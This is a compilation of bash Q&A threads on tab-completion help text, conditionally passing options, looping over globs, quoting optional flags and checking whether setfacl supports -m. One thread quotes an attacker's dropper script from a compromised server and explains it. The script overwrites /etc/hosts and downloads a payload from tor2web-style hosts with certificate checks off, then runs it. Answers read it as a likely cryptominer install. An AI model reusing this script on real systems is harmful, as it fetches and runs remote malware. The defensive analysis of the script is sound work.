Is it possible to display some help message when showing autocomplete candidates? - bash

Some commands have many -x (x can be any English letter) options and it's some times difficult to remember all of their meanings. I can use bash's compgen -W '-a -b -c' to show possible options and I'm wondering if it's possible to also show some help message. Like this:
bash# foo -<TAB><TAB>
-a: This is option a -b: This is option b
-C: This is option c
bash#

I ever did something similar to map some of curl's single char options (like -x) to GNU style --long-options.
This is how it works:
[STEP 101] # cat curl
function _compgen_curl()
{
local cmd=$1 cur=$2 pre=$3
local -a options=( \
'' --connect-timeout \
-k --insecure \
-m --max-time \
-o --output \
-O --remote-name \
-u --user \
-U --proxy-user
-x --proxy \
-y --speed-time \
-Y --speed-limit \
)
local -a options2=()
local i short long
for ((i = 0; i < ${#options[#]}; i += 2)); do
short=${options[i]}
long=${options[i+1]}
if [[ -z $short || -z $long ]]; then
options2+=( $short$long )
else
options2+=( $short,$long )
fi
done
if [[ $cur == - ]]; then
COMPREPLY=( $( compgen -W "${options2[*]}" -- "$cur" ) )
elif [[ $cur == --* ]]; then
COMPREPLY=( $( compgen -W "${options[*]}" -- "$cur" ) )
fi
}
complete -F _compgen_curl -o bashdefault -o default curl
[STEP 102] # . ./curl
[STEP 103] # curl -<TAB><TAB>
--connect-timeout -o,--output -u,--user -y,--speed-time
-k,--insecure -O,--remote-name -x,--proxy
-m,--max-time -U,--proxy-user -Y,--speed-limit
[STEP 103] # curl -
Not exactly what you asked but you can update it for your own purpose.
(I'm not sure if bash can handle whitespaces in the completion result but at least you can use _ or -. :-)

IMO that would be a bad idea.
But if you really want it, you can do it something like this:
Note that this code is a bit crude and unless I know your use case, I cannot provide exact answer. However, it should be sufficient to give you a general idea.
Original:
complete -o nospace -F _default_completion my_command
New:
_custom_completion(){
local cur;
_get_comp_words_by_ref cur;
_default_completion
if [ ${#COMPREPLY[#]} == 1 ]; then return; fi
local _compreply=()
local reply_entry
local description
for reply_entry in ${COMPREPLY[#]}; do
description=$(generate_description_from_option "$reply_entry")
description=$(printf "%${COLUMNS}s" "$reply_entry : $description" )
_compreply+=$description
done
COMPREPLY=(${_compreply[#]})
} && complete -o nospace -F _custom_completion my_command
With this, bash should show one option per line with description in front of it. Of course, you will need to write generate_description_from_option yourself.

ble.sh provides that, besides many other features.

Related

My server has been broken into. What does this suite of shell lines mean?

As said, I've just discovered that one of my private servers has been penetrated and the following bash has been executed on it :
tbin=$(command -v passwd);
bpath=$(dirname "${tbin}");
curl="curl";
if [ $(curl --version 2>/dev/null|grep "curl "|wc -l) -eq 0 ];
then curl="echo";
if [ "${bpath}" != "" ];
then for f in ${bpath}*;
do
strings $f 2>/dev/null|grep -q "CURLOPT_VERBOSE"
curl="$f"
break;
done;
fi;
fi;
wget="wget";
if [ $(wget --version 2>/dev/null|grep "wgetrc "|wc -l) -eq 0 ];
then wget="echo";
if [ "${bpath}" != "" ];
then for f in ${bpath}*;
do strings $f 2>/dev/null|grep -q "to <bug-wget#gnu.org>" && wget="$f" && break;
done;
fi;
fi;
if [ $(cat /etc/hosts|grep -i "tor2web."|wc -l) -ne 0 ];
then echo "127.0.0.1 localhost" > /etc/hosts >/dev/null 2>&1;
fi;
rand=$(head /dev/urandom|tr -dc A-Za-z0-9|head -c $(shuf -i 4-16 -n 1);
echo "");
if [ -z ${rand} ];
then rand=".tmp"
fi;
echo "${rand}" > "$(pwd)/.${rand}" 2>/dev/null && LPATH="$(pwd)/.${rand}";
rm -f "$(pwd)/.${rand}" >/dev/null 2>&1;
echo "${rand}" > "/tmp/.${rand}" 2>/dev/null && LPATH="/tmp/.${rand}"
rm -f "/tmp/.${rand}" >/dev/null 2>&1;
(${curl} -fsSLk --retry 3 --connect-timeout 17 --max-time 36 https://an7kmd2wp4xo7hpr.tor2web.su/src/ldm -o "${LPATH}"||${curl} -fsSLk --retry 3 --connect-timeout 17 --max-time 36 https://an7kmd2wp4xo7hpr.d2web.org/src/ldm -o "${LPATH}"||${curl} -fsSLk --retry 3 --connect-timeout 17 --max-time 36 https://an7kmd2wp4xo7hpr.onion.sh/src/ldm -o "${LPATH}"||${wget} --quiet --no-check-certificate --tries=3 --connect-timeout=17 --timeout=36 https://an7kmd2wp4xo7hpr.tor2web.su/src/ldm -O "${LPATH}"||${wget} --quiet --no-check-certificate --tries=3 --connect-timeout=17 --timeout=36 https://an7kmd2wp4xo7hpr.d2web.org/src/ldm -O "${LPATH}"||${wget} --quiet --no-check-certificate --tries=3 --connect-timeout=17 --timeout=36 https://an7kmd2wp4xo7hpr.onion.sh/src/ldm -O "${LPATH}") && chmod +x "${LPATH}" && sh "${LPATH}"
I'm not sure exactly what it does, hence I'm not sure what to do now, apart from resetting the server altogether. Also I'm curious as to the objective of it.
Thank you !
The first part is a bit of infrastructure work, to get a gasp of the system layout and installed software. Then it cleans up the hosts file to remove traces of an earlier stage of the attack. Then checks for a possible payload download location. The real thing happens on the last line, it downloads a payload and executes it.
There are two possible candidates:
CVE 2019-9670
and
CVE 2019-10149
most probably the latter.
The ultimate goal of the attack seems to be to install a cryptominer into the server.
All the action really happens in the last line, which implements the main purpose of this script: to attempt to download some (presumably malicious) payload from a variety of sites (listed in the last line), and if that is successful then executes the payload.
The rest of the script is just support for that, mostly an fairly exhaustive way of finding a suitable curl or wget binary in order to perform the download. It also checks if your /etc/hosts file contains a line with tor2web., and if it does the hosts file is overwritten with a default one that only has a 127.0.0.1 line for localhost. This step will probably fail unless running as root.
Your server is thoroughly compromised and you should discard it (if it is a VM) or reformat it.

sh conditionally pass an option to command

I want to do something like:
#!/bin/sh
[ -f "/tmp/nodes" ]
[[ $? -eq 0 ]] && VAL=$? ||
geth --datadir /root/.ethereum \
${VAL+"--nodekey \"/root/nodekey.txt\""} \
--networkid 1999 \
--rpc \
--rpcaddr "0.0.0.0" \
I want the option --nodekey "/root/nodekey.txt" to be passed if the file /tmp/nodes exists. How can that be done more elegantly than an if with two nearly identical commands?
--EDIT--
This is the best I've been able to get working so far:
if [ $VAL -eq 0 ]; then
/geth --datadir /root/.ethereum \
--nodekey "/root/nodekey.txt" \
# No dice
# Would be nice if this worked so I didn't need the if
# ${VAL+ --nodekey "/root/nodekey.txt" } \
--networkid 1999 \
--rpc \
--rpcaddr "0.0.0.0"
else
/geth --datadir /root/.ethereum \
--networkid 1999 \
--rpc \
--rpcaddr "0.0.0.0" \
fi
This is another line in the file and works fine:
ENODE_URL=$(/geth --datadir /root/.ethereum ${VAL+ --nodekey "/root/nodekey.txt"} --exec "${JS}" console 2>/dev/null | sed -e 's/^"\(.*\)"$/\1/')
There's a bashism here, but it's [[ $? -eq 0 ]], as [[ is a ksh extension adopted by bash. There's no point to using $? at all here, since you can just directly perform your assignment based on whether the test -f succeeds:
touch /tmp/nodes # set us up for the truthy path
if test -f /tmp/nodes; then tmp_nodes_exists=1; else unset tmp_nodes_exists; fi
printf '%s\n' /tmp/nodes ${tmp_nodes_exists+"REALLY EXISTS" "(yes, really)"}
...properly emits as output (as run with dash, perhaps the most common minimal /bin/sh interpreter):
/tmp/nodes
REALLY EXISTS
(yes, really)
By contrast, to demonstrate that the other path fails as it should:
rm -f -- /tmp/nodes # set us up for the falsey path
if test -f /tmp/nodes; then tmp_nodes_exists=1; else unset tmp_nodes_exists; fi
printf '%s\n' /tmp/nodes ${tmp_nodes_exists+"REALLY EXISTS" "(yes, really)"}
emits as output only:
/tmp/nodes

ShellCheck warning: "Iterating over ls output is fragile. Use globs. [SC2045]"

I am getting a ShellCheck warning [SC2045] for the second line in the code below. Is it fine to ignore it as I am making sure the directory is not empty before I try the last ls?
if [ "$(ls -A "$retryDir")" ] ; then
for thisRetryFile in $(ls "$retryDir"/*.tar.gz) ; do
scp -o ConnectTimeout=30 "$thisRetryFile" \
"$remoteUser#$remoteHost:$remotePath" >> "$BACKUPLOG"
done
fi
UPDATE:
After reading the post comments. I have changed the line to:
for thisRetryFile in "$retryDir"/*.tar.gz ; do
This has removed the warnings.
Use the loop with a glob, and also set nullglob to avoid executing scp in case the pattern doesn't match anything.
And you don't need the outer if condition either,
since the for with nullglob effectively takes care of that:
shopt -s nullglob
for thisRetryFile in "$retryDir"/*.tar.gz; do
scp -o ConnectTimeout=30 "$thisRetryFile" \
"$remoteUser#$remoteHost:$remotePath" >> "$BACKUPLOG"
done
If you want to catch the case when no file matches the pattern,
you can write like this, without using shopt -s nullglob:
for thisRetryFile in "$retryDir"/*.tar.gz; do
if [ -f "$thisRetryFile" ]; then
scp -o ConnectTimeout=30 "$thisRetryFile" \
"$remoteUser#$remoteHost:$remotePath" >> "$BACKUPLOG"
break
else
echo "warn: no tar.gz file in dir: $retryDir"
fi
done
This is safer. Try it.
if [ "$(ls -A "$retryDir")" ] ; then
for thisRetryFile in ${retryDir}'/*.tar.gz' ; do
scp -o ConnectTimeout=30 "$thisRetryFile" "$remoteUser#$remoteHost:$remotePath" >> "$BACKUPLOG"
done
fi
Regards!

How to securely quote an optional flag?

If $FOO is set, I want to run:
cd "$OUTPUTDIR" && fpm -s dir -t rpm \
-a x86_64 \
--epoch "${PKGEPOCH}" \
-n "${PACKAGENAME}" \
--version "${PKGVERSION}" \
--iteration "${PKGRELEASE}" \
-C "$OUTPUTDIR/installroot" \
--description="${PKGDESCRIPTION}" \
.
If $FOO is not set, I don't want to include the flag at all.
The program fails if --description= (empty).
However, sometimes descriptions include quotes and other special characters so I don't want to do:
if [[ -z "PKGDESCRIPTION" ]]; then
D=--description="${PKGDESCRIPTION}"
fi
cd "$OUTPUTDIR" && fpm -s dir -t rpm \
-a x86_64 \
--epoch "${PKGEPOCH}" \
-n "${PACKAGENAME}" \
--version "${PKGVERSION}" \
--iteration "${PKGRELEASE}" \
-C "$OUTPUTDIR/installroot" \
$D
.
If I put quotes around $D then it becomes an additional (blank) arg.
Is there a way to do this that won't be a security problem if $PKGDESCRIPTION includes special chars AND doesn't generate a blank arg?
Using an array is the only sane way to do this:
options=( -a x86_64 -C "$OUTPUTDIR/installroot" )
[[ $PKGEPOCH ]] && options+=( --epoch "$PGKEPOCH" )
[[ $PACKAGENAME ]] && options+=( -n "$PACKAGENAME" )
[[ $PKGVERSION ]] && options+=( --version "$PKGVERSION" )
[[ $PKGRELEASE ]] && options+=( --iteration "$PKGRELEASE" )
[[ $PKGDESCRIPTION ]] && options+=( --description="$PKGDESCRIPTION" )
cd "$OUTPUTDIR" && fpm -s dir -t rpm "${options[#]}"
See also http://mywiki.wooledge.org/BashFAQ/050
If PKGDESCRIPTION is the only argument that needs this conditional treatment, you can use an "alternate value" expansion:
[...] && fpm -s dir -t rpm \
[...] \
${PKGDESCRIPTION:+ --description="${PKGDESCRIPTION}"} \
.
Explanation: the :+ means this will expand to nothing at all unless PKGDESCRIPTION is set to a non-null value; if it is set to something non-null, it expands to --description="${PKGDESCRIPTION}", and the double-quotes make it ignore special characters in PKGDESCRIPTION's value. Note that the space in :+ -- isn't needed, but does no harm and makes it at least slightly easier to read.
BTW, if more than one argument needs this treatment, I'd go with #glenn jackman's approach.

Check if bash command has specified modificator

During the configuration of Symfony 2 project it is required to set appropriate privilages to the cache and log directories.
Documentation says to do it in two ways. One of them is calling setfacl command with -m modificator. However not every version contains this modificator. Is it possible to check if this command or any other command allows to set some modificator ?
For example with following pseudocode:
if [ checkmods --command=setfacl --modificator=-m ]
setfacl -m ....
else
chmod ...
You can parse the usage information by running setfacl --help and check if contains the modificator. For example:
if setfacl --help | grep -q -- -m,
then
echo "setfacl -m supported"
else
echo "setfacl -m not supported"
fi
If you want to do it for any command which has the --help option, take a look at the _parse_help function available in your bash-completion file.
http://anonscm.debian.org/gitweb/?p=bash-completion/bash-completion.git;a=blob;f=bash_completion
# Parse GNU style help output of the given command.
# #param $1 command; if "-", read from stdin and ignore rest of args
# #param $2 command options (default: --help)
#
_parse_help()
{
eval local cmd=$( quote "$1" )
local line
{ case $cmd in
-) cat ;;
*) LC_ALL=C "$( dequote "$cmd" )" ${2:---help} 2>&1 ;;
esac } \
| while read -r line; do
[[ $line == *([ $'\t'])-* ]] || continue
# transform "-f FOO, --foo=FOO" to "-f , --foo=FOO" etc
while [[ $line =~ \
((^|[^-])-[A-Za-z0-9?][[:space:]]+)\[?[A-Z0-9]+\]? ]]; do
line=${line/"${BASH_REMATCH[0]}"/"${BASH_REMATCH[1]}"}
done
__parse_options "${line// or /, }"
done
}

Resources